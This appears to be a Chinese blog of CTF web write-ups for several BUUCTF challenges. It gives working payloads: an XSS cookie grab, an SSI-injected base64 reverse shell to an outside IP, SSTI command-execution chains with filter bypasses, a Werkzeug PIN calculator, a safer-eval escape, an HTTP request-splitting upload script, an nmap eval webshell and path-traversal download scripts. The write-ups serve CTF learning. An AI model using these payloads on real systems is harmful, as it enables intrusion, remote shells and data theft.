web

web复现之buu二号弹

Posted by inhann on 2021-04-20
Page views

[toc]

菜鸡又在buu上刷了点题,这里记录一下30道web的解题思路。。。。。。

0x01 [BJDCTF 2nd]xss之光

扫描目录,有.git

1
inet 192.168.190.133  netmask 255.255.255.0  broadcast 192.168.190.255

用GitHack下载下来

1
2
3
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

就一个index.php

1
?yds_is_so_beautiful=s:26:"<script>alert(1);</script>";

image-20210206151453429

看一看cookies

1
?yds_is_so_beautiful=s:78:"<script>window.open('https://www.baidu.com?cookie='%2bdocument.cookie);</script>";

跳转后得到flag

image-20210206154156251

1
flag%7Ba8086c07-33b5-4882-bef0-9487226e67ff%7D%0A
1
flag{a8086c07-33b5-4882-bef0-9487226e67ff}

0x02 [BJDCTF2020]EasySearch

image-20210222114019166

两个点可以输入

抓包看看

1
X-Powered-By: PHP/7.1.27

image-20210303174417635

看看报错信息

只能扫扫看

有个 备份文件

看一看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
{
***
}
***
?>

首先要通过 $_POST[‘username’] 进行 md5 碰撞,使得

1
$admin == substr(md5($_POST['password']),0,6))

然后要通过 $_POST[‘username’] 进行 ssi 注入,最后访问对应的 .shtml 来 getshell

1
2
3
4
5
6
7
8
9
<?php
$admin = '6d0bc1';
$p = 0;
while(true){
if ( $admin == substr(md5($p),0,6)) {
echo "[+]done >>> ".$p."\n";
}
$p += 1;
}
1
[+]done >>> 2020666
1
username=<!--#exec cmd="echo YmFzaCAtaSA+JicC80Ny45NC45LjE3LzEyMzQ1IDA+JjEK | base64 -d | bash"-->&password=2020666

f12 看看

1
[!] Header  error ...

看看 header

1
Url_is_here: public/45a8331d33a62e49b9731a04cede880c37f3cd2b.shtml

访问看看

反弹shell

image-20210420154435133

找到 flag

image-20210420154452032

1
flag{69156764-5e95-428c-8cbb-246270f50424}

0x03 [GYCTF2020]FlaskApp

在decode 随便输入

可以看到开了 debug 模式

image-20210224221413419

用到 render_template_string ,有ssti

试试看

1
2
{{1-1}}
e3sxLTF9fQ==

image-20210224221711272

没问题

那就开始注入

先确定一波它拦截了什么

1
2
eval
import

跑个脚本,找找 __builtins__

image-20210224223920928

1
2
{{().__class__.__mro__[1].__subclasses__()[75].__init__.__globals__}}
e3soKS5fX2NsYXNzX18uX19tcm9fX1sxXS5fX3N1YmNsYXNzZXNfXygpWzc1XS5fX2luaXRfXy5fX2dsb2JhbHNfX319

用 open 来读读源码,估计是app.py

1
2
3
b64encode(r"""{{().__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']("app.py").read()}}""")

e3soKS5fX2NsYXNzX18uX19tcm9fX1sxXS5fX3N1YmNsYXNzZXNfXygpWzc1XS5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ11bJ29wZW4nXSgiYXBwLnB5IikucmVhZCgpfX0=

image-20210225135345997

整理一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from flask
import Flask, render_template_string from flask
import render_template, request, flash, redirect, url_for from flask_wtf
import FlaskForm from wtforms
import StringField, SubmitField from wtforms.validators
import DataRequired from flask_bootstrap
import Bootstrap
import base64 app = Flask(__name__) app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)
class NameForm(FlaskForm):
text = StringField('BASE64加密', validators = [DataRequired()]) submit = SubmitField('提交')

class NameForm1(FlaskForm):
text = StringField('BASE64解密', validators = [DataRequired()]) submit = SubmitField('提交')
def waf(str):
black_list = ["flag", "os", "system", "popen", "import", "eval", "chr", "request", "subprocess", "commands", "socket", "hex", "base64", "*", "?"]
for x in black_list:
if x in str.lower():
return 1

@app.route('/hint', methods = ['GET'])
def hint():
txt = "失败乃成功之母!!"
return render_template("hint.html", txt = txt)

@app.route('/', methods = ['POST', 'GET'])
def encode():
if request.values.get('text'):
text = request.values.get("text")
text_decode = base64.b64encode(text.encode())
tmp = "结果 :{0}".format(str(text_decode.decode()))
res = render_template_string(tmp) flash(tmp)
return redirect(url_for('encode'))
else :
text = ""
form = NameForm(text)
return render_template("index.html", form = form, method = "加密", img = "flask.png")

@app.route('/decode', methods = ['POST', 'GET'])
def decode():
if request.values.get('text'):
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp):
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
flash(res)
return redirect(url_for('decode'))
else :
text = ""
form = NameForm1(text)
return render_template("index.html", form = form, method = "解密", img = "flask1.png")



@app.route('/<name>', methods = ['GET'])
def not_found(name):
return render_template("404.html", name = name)


if __name__ == '__main__':
app.run(host = "0.0.0.0", port = 5000, debug = True)
1
black_list = ["flag", "os", "system", "popen", "import", "eval", "chr", "request", "subprocess", "commands", "socket", "hex", "base64", "*", "?"]

但是可以通过字符拼接绕过

1
2
3
b64encode(r"""{{().__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['__impor'+'t__']('o'+'s')['po'+'pen']("ls").read()}}""")

e3soKS5fX2NsYXNzX18uX19tcm9fX1sxXS5fX3N1YmNsYXNzZXNfXygpWzc1XS5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ11bJ19faW1wb3InKyd0X18nXSgnbycrJ3MnKVsncG8nKydwZW4nXSgibHMiKS5yZWFkKCl9fQ==

image-20210225141147342

接下来就去找flag

1
ls /

image-20210225141226275

1
"cat /this_is_the_fl"+"ag.txt"

image-20210225141408290

1
flag{44a183de-8167-4881-8161-492418541045}

也可以用 pin 来 rce

image-20210225141519751

在hint 中就有提示

试试看

先确定要素

image-20210225151650873

app.py 的位置

1
/usr/local/lib/python3.7/site-packages/flask/app.py

读一读 /etc/passwd

1
2
3
b64encode(r"""{{().__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}""")

e3soKS5fX2NsYXNzX18uX19tcm9fX1sxXS5fX3N1YmNsYXNzZXNfXygpWzc1XS5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ11bJ29wZW4nXSgnL2V0Yy9wYXNzd2QnKS5yZWFkKCl9fQ==

image-20210225150711099

猜测username

1
flaskweb:x:1000:1000::/home/flaskweb:/bin/sh

看看 machine-id

1
b64encode(r"""{{().__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('/proc/self/cgroup').read()}}""")

image-20210225152136503

1
940dec83f9c962beb9b36e3ea1998021954fd83ce1539eac285c2d49024fd3fb

看看mac地址

1
b64encode(r"""{{().__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('/sys/class/net/eth0/address').read()}}""")
1
02:42:ac:10:92:5c

处理一下

image-20210225151052251

1
2485377864284

计算pin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'2485377864284',# str(uuid.getnode()), /sys/class/net/ent0/address
'940dec83f9c962beb9b36e3ea1998021954fd83ce1539eac285c2d49024fd3fb'# get_machine_id(),
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)
1
181-776-943

image-20210225152536205

得到flag

image-20210225152617090

1
flag{44a183de-8167-4881-8161-492418541045}

0x04 [CSCCTF 2019 Qual]FlaskLight

image-20210225152747078

很粗糙的一个网站

image-20210225152834311

get 参数,为 search

image-20210225152917147

没有太大问题

image-20210225153106047

这里也没问题

跑个脚本,找可用的模块

发现拦截了 globals

但是可以通过拼接字符串绕过

1
"__glob"%2b"als__"
1
?search={{().__class__.__mro__[1].__subclasses__()[59].__init__["__glob"%2b"als__"]["__builtins__"]["__import__"]("os").popen("ls").read()}}

image-20210225155354001

找flag

image-20210225155815468

1
flag{b61df7f6-3e3a-4edc-89e3-65e530575069}

0x05 [RootersCTF2019]I_<3_Flask

感觉没有下手的地方

尝试,发现参数

1
?name

没有过滤什么

直接跑脚本,找到可用的模块

image-20210225164722488

1
?name={{().__class__.__mro__[1].__subclasses__()[105].__init__.__globals__['__builtins__']['__import__']('os').popen('ls').read()}}

image-20210225164946127

得到flag

image-20210225165013362

1
flag{aadcb791-f3f4-49f4-ad52-a2c9b538c4ff}

0x06 [pasecactf_2019]flask_ssti

image-20210225165122234

很直白,就是考ssti

但是有拦截

1
2
.
_

image-20210225165804752

可以绕过

1
2
3
Cookie: UM_distinctid=17705637df30-08003bc12e4fd68-4c3f207e-e1000-17705637df4b3; a=__class__; base=__base__; sub=__subclasses__; init=__init__; globals=__globals__; builtins=__builtins__; getitem=__getitem__; eval=eval; import=__import__; popen=popen; read=read

nickname={{()[request|attr("cookies")|attr("get")("a")]|attr(request|attr("cookies")|attr("get")("base"))|attr(request|attr("cookies")|attr("get")("sub"))()|attr("pop")(132)|attr(request|attr("cookies")|attr("get")("init"))|attr(request|attr("cookies")|attr("get")("globals"))|attr(request|attr("cookies")|attr("get")("getitem"))(request|attr("cookies")|attr("get")("builtins"))|attr(request|attr("cookies")|attr("get")("getitem"))(request|attr("cookies")|attr("get")("import"))("os")|attr(request|attr("cookies")|attr("get")("popen"))("ls /")|attr(request|attr("cookies")|attr("get")("read"))()}}

image-20210225171610069

找flag

1
cat *

看源码

1
2
3
4
5
6
7
8
9
10
11
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

file = open("/app/flag", "r")
flag = file.read()
flag = flag[:42]

app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = ""

os.remove("/app/flag")

可见flag在 config 当中

1
'flag': '-M7\x10wH6l0\x04 k~\x0e\x1eXj\x00(DIH\x0b\x17!3\x04i\x02XG\x0b \x05z*Ej\x13\x0fKG'}

要逆向

实际上,只不过用到了 ^ 的性质,很简单

image-20210225173041515

1
flag{94bb4285-ac07-4ab5-88d9-41c57a4a250d}

0x07 [CISCN2019 总决赛 Day1 Web3]Flask Message Board

猜测可能会用到 sql 注入,xss

image-20210225173519822

可以通过这个发布东西

image-20210225173537439

发布的东西会直接打印到这里

image-20210225185441912

这个信息,说明网站有对用户的身份进行判断

image-20210225192518132

抓包,发现确实有用到 session

flask的 session 是可以 decode 的

直接到 session 对应的信息

1
{"admin":false}

发现一个 admin 页面

image-20210225192806199

提示的很明显了,要用到 伪造session

但是 需要 secret-key

有三个输入点,输入的值都会被储存起来,打印在下方

但是Author的值,每次请求完之后,会打印在这个位置

image-20210225193309088

因而这个点很可能存在 ssti

尝试一下

1
{{config}}

image-20210225195655144

成功

1
'SECRET_KEY': 'll|I11l|il|ll|1|lIi11il|Il1|i|l||lli||1|'

还有 secret_key

这样就可以伪造身份了

1
2
3
4
$ python flask_session_cookie_manager2.py encode -t "{'admin':True}" -s "ll|I11l|il|ll|1|lIi11il|Il1|i|l||lli||1|" 


eyJhZG1pbiI6dHJ1ZX0.YDeQmA.tvL-D6_K81fOh7D2Mc-MAgdC42k

更改session,打开admin

image-20210225195946796

让上传文件

尝试了一下,要求是一个 zip file

源码里面有提示

image-20210225200436495

image-20210225200445764

1
2
/admin/source_thanos
/admin/model_download

访问看看

下载得到一个 zip

访问source,得到一堆东西,应该是源码,但是很凌乱

image-20210225200646938

看看 zip 里面的内容

image-20210225200834662

提示说和 tensorflow 有关

不会做,先放着

0x08 [GKCTF2020]EZ三剑客-EzNode

nodejs 的题,给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
const express = require('express');
const bodyParser = require('body-parser');

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

const fs = require('fs');

const app = express();


app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {

}
}, 1000);
} else {
next();
}
});

app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
res.set('Content-Type', 'text/json;charset=utf-8');
res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
res.send(fs.readFileSync('./index.html'))
})

app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});
1
const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

用了个 safer-eval,很可疑

1
2
3
4
5
6
7
8
9
10
11
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});

访问 /eval 的话每次都会调用的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {

}
}, 1000);

先取 60*1000 和url 中得到的delay 参数的较大的那个,赋值给 delay

然后调用

1
const t = setTimeout(() => next(), delay);

是个异步函数,如果 next() 真的被调用,那么就能执行 safeEval 函数了

setTimeout 第二个参数存在 int 溢出,而且是有符号的int ,所以最大是

1
0x7fffffff = 2147483647

所以 2147483647+1 就是负数

因而 next() 就即刻执行了

看看 safeEval 的版本

1
"safer-eval": "1.3.6"

看看这个项目有没有 能利用的 issue

image-20210306215433841

1
2
3
4
5
const theFunction = function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;

改写这段代码

1
function () {const process = clearImmediate.constructor("return process;")();return process.mainModule.require("child_process").execSync("nl /*").toString();}()

image-20210306222459951

1
flag{60cb3477-9775-4111-9860-2216323236b9}

0x09 [GYCTF2020]Node Game

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan');
const multer = require('multer');


app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))


app.get('/', function(req, res) {
var action = req.query.action?req.query.action:"index";
if( action.includes("/") || action.includes("\\") ){
res.send("Errrrr, You have been Blocked");
}
file = path.join(__dirname + '/template/'+ action +'.pug');
var html = pug.renderFile(file);
res.send(html);
});

app.post('/file_upload', function(req, res){
var ip = req.connection.remoteAddress;
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only admin's ip can use it"
res.send(JSON.stringify(obj));
return
}
fs.readFile(req.files[0].path, function(err, data){
if(err){
obj.msg = 'upload failed';
res.send(JSON.stringify(obj));
}else{
var file_path = '/uploads/' + req.files[0].mimetype +"/";
var file_name = req.files[0].originalname
var dir_file = __dirname + file_path + file_name
if(!fs.existsSync(__dirname + file_path)){
try {
fs.mkdirSync(__dirname + file_path)
} catch (error) {
obj.msg = "file type error";
res.send(JSON.stringify(obj));
return
}
}
try {
fs.writeFileSync(dir_file,data)
obj = {
msg: 'upload success',
filename: file_path + file_name
}
} catch (error) {
obj.msg = 'upload failed';
}
res.send(JSON.stringify(obj));
}
})
})

app.get('/source', function(req, res) {
res.sendFile(path.join(__dirname + '/template/source.txt'));
});


app.get('/core', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:8081/source?' + q
console.log(url)
var trigger = blacklist(url);
if (trigger === true) {
res.send("<p>error occurs!</p>");
} else {
try {
http.get(url, function(resp) {
resp.setEncoding('utf8');
resp.on('error', function(err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
return;
}
});

resp.on('data', function(chunk) {
try {
resps = chunk.toString();
res.send(resps);
}catch (e) {
res.send(e.message);
}

}).on('error', (e) => {
res.send(e.message);});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
})

function blacklist(url) {
var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
var arrayLen = evilwords.length;
for (var i = 0; i < arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true
}
}
}

var server = app.listen(8081, function() {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})

访问 / 的时候,可以传入一个 action 参数,最后会执行

1
res.send(pug.renderFile(__dirname+"/template/"+action+".pug"))

也就是说渲染哪个 模板是自己决定的

而 /file_upload 可以上传文件,最后文件的位置

1
__dirname+"/uploads/"+mimetype+"/"+filename

而已知 fs.writeFileSync(dir_file,data) 函数是支持目录穿越的,即 文件路径可以带 ..

所以可以往 /template里面写个模板,使得能够任意命令执行

满足 这个条件 ip.includes('127.0.0.1'),就可以 上传文件

而 /core 这里可以做一个 get 请求,url 为

1
'http://localhost:8081/source?' + req.query.q

实际上任何一个http 请求,重要的是 http 请求报文,nodejs的 get 方法也一样,会根据 url 写一个 报文,然后封装到 TCP报文段里面

而 服务器软件,接收的实际上是 HTTP 报文流,看不出来两段 HTTP 报文是不是来自同一个 TCP 报文段,所以可以考虑作假 HTTP 报文

nodejs 对于url 中的内容还有 post data ,都会进行 latin1 编码后,写入HTTP报文

但是众所周知,latin1 编码的 code point 的范围是 0x00~0xff ,字符串中如果有字符的 code point 大于 0xff ,不同版本的 nodejs 会有不同的处理方法

如果版本 小于等于 v8.0.2 ,对于 code point 大于 0xff 的字符,会截断 code point 为 一个 byte,然后再latin1 编码

比如,如果一个字符是 \u010a 即这个字符的code point 是 0x010a ,则这个字符会被编码成 0x0a ,这个 0x0a 最终写入 HTTP 报文中

访问 /core,考虑 req.query.q

无论是用 python 的 requests 库、还是 nodejs 的 http.get 发出对 \core 的 http 请求,对于要写入 HTTP 请求的内容,都会在写入之前进行 utf-8 编码

而 nodejs server 对于接受到的 http 报文,如果要解码,也是默认用的 utf-8

所以从 得到 q

1
var q = req.query.q;

到制作 url

1
var url = 'http://localhost:8081/source?' + q

q 并不会发生变化

这个 url 中的内容,会被处理后,写入 一个 HTTP 报文,然后发送出去

写个 python 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests

payload = """ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive

POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: {}
Content-Type: multipart/form-data; boundary=---------------------------123582468544305103567071242

{}""".replace('\n', '\r\n')

body = """-----------------------------123582468544305103567071242
Content-Disposition: form-data; name="file"; filename="y.pug"
Content-Type: ../template

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x
-----------------------------123582468544305103567071242--

""".replace('\n', '\r\n')

payload = payload.format(len(body), body) \
.replace('+', '\u012b') \
.replace(' ', '\u0120') \
.replace('\r\n', '\u010d\u010a') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
+ 'GET' + '\u0120' + '/'

requests.get(
'http://168fc17e-d06b-4823-9c47-120afcebce25.node3.buuoj.cn/core?q=' + payload)

print(requests.get(
'http://168fc17e-d06b-4823-9c47-120afcebce25.node3.buuoj.cn/?action=y').text)
1
flag{5ed37097-25e1-46fe-bf2f-4d1d7e719232}

0x0a [BUUCTF 2018]Online Tool

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

最后用到了 nmap 这个工具

1
"nmap -T5 -sT -Pn --host-timeout 2 -F ".$host

如果 host 只是个域名的话,也就没什么特别功能,只是端口扫描而已

试试看 127.0.0.1,看到只有 80端口打开

试试看绕过 这个

1
2
$host = escapeshellarg($host);
$host = escapeshellcmd($host);

host 是 ‘hellow’orld’

1
system("nmap -T5 -sT -Pn --host-timeout 2 -F  'helloworld' ")

escapeshellarg($host) 返回的值为

1
''\''helloworld'\'''

escapeshellcmd($host) 返回的值为

1
''\\''helloworld'\\'''

相当于 sh 执行

1
nmap -T5 -sT -Pn --host-timeout 2 -F  '' \ '' hellow'\''orld '\' ''

\ 用于多行解释,实际上可以忽略

也就相当于

1
nmap -T5 -sT -Pn --host-timeout 2 -F  '' '' helloworld '\' ''

helloworld 将作为 nmap 执行中的参数

将 helloworld 替换成

1
-oG shell.php <?php eval($_GET["kkk"])?>

因为 escapeshellarg 对双引号不处理,而escapeshellcmd 对成对的双引号也不处理,所以这里用 “

写个马

1
http://59a80862-8fa3-48eb-8819-cb832f55c86b.node3.buuoj.cn/?host=' -oG shell.php <?php eval($_GET["kkk"]);?> '
1
chdir($sandbox);

image-20210307181622214

得知进程工作目录是

1
92fc4adcb333af4ab6c6c5599d4f6cd7

所以马的位置

1
92fc4adcb333af4ab6c6c5599d4f6cd7/shell.php

image-20210307181723752

找到flag

image-20210307181806908

1
flag{322af07f-aa11-4546-a32f-cf220284131a}

0x0b [RoarCTF 2019]Easy Java

java 开发的,猜测是 hql 注入

找到一个 Download页面

image-20210307182322476

看源码有个路径

1
url(../../images/pwd.png)

可见有个 images 文件夹

尝试之后,发现这个文件实际位置

1
/images/pwd.png

既然是java 开发的,就去找配置文件

1
/WEB-INF/web.xml

尝试了一下,在Download页面,只有用 post 请求的时候才能真正下载文件

看看 help.docx

image-20210307222808705

好像啥也没有

跑个脚本找 web.xml

1
2
3
4
5
6
7
8
9
10
11
import requests
url = "http://380ad314-363e-4cfa-b535-868530d6b346.node3.buuoj.cn/Download"
s = requests.session()
file_name = "WEB-INF/web.xml"
method = {0:"get",1:"post"}
m = method[1]
for i in range(10):
payload = "../"*i+file_name
data = {"filename":payload}
resp = s.get(url=url,params=data) if m==method[0] else s.post(url=url,data=data)
print(resp.status_code,len(resp.content),payload)

找到 位置

1
WEB-INF/web.xml

下载下来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>

<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>

</web-app>

有个 /Flag,有个/Index

去看看

/Flag 报错了

image-20210307224930896

1
java.lang.NoClassDefFoundError: com/wm/ctf/FlagController (wrong name: FlagController)

没什么信息

去把class 文件下载下来,反编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import os

url = "http://ec3b1da8-9db0-4304-8adc-cd21b6b1b4fd.node3.buuoj.cn/Download"
session = requests.session()
method = {0:"get",1:"post"}
m = method[1]

classes = ["com.wm.ctf.LoginController","com.wm.ctf.DownloadController","com.wm.ctf.FlagController"]
for c in classes:
f = c.replace(".","/")+".class"
payload = "WEB-INF/classes/"+f
data = {"filename":payload}
resp = session.get(url=url,params=data) if m==method[0] else session.post(url=url,data=data)
print(resp.status_code,">>>>",payload)
if resp.status_code == 200:
d = "/".join(c.split(".")[:-1])
if not os.path.exists(d):
os.makedirs(d)
with open(f,"wb") as f:
f.write(resp.content)
print("done!!!")

得到 class 文件

拖进 jd-gui 中

很奇怪,拖入文件夹并不能反编译,但是如果拖入单个文件,整个文件夹就能被反编译

image-20210307230834532

看到有个 flag,用 basse64解码

1
flag{e2b9d804-1091-4e10-8392-ff053428809d}

0x0c [BJDCTF2020]Mark loves cat

扫一扫

扫到 .git,用GitHack 走一波

有个 flag.php

1
2
3
<?php

$flag = file_get_contents('/flag');

而在 index.php 当中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}



echo "the flag is: ".$flag;
1
X-Powered-By PHP/7.3.13

要得到 flag,就要保证 exit 函数不会调用

第一个 foreach

1
2
3
foreach($_POST as $x => $y){
$$x = $y;
}

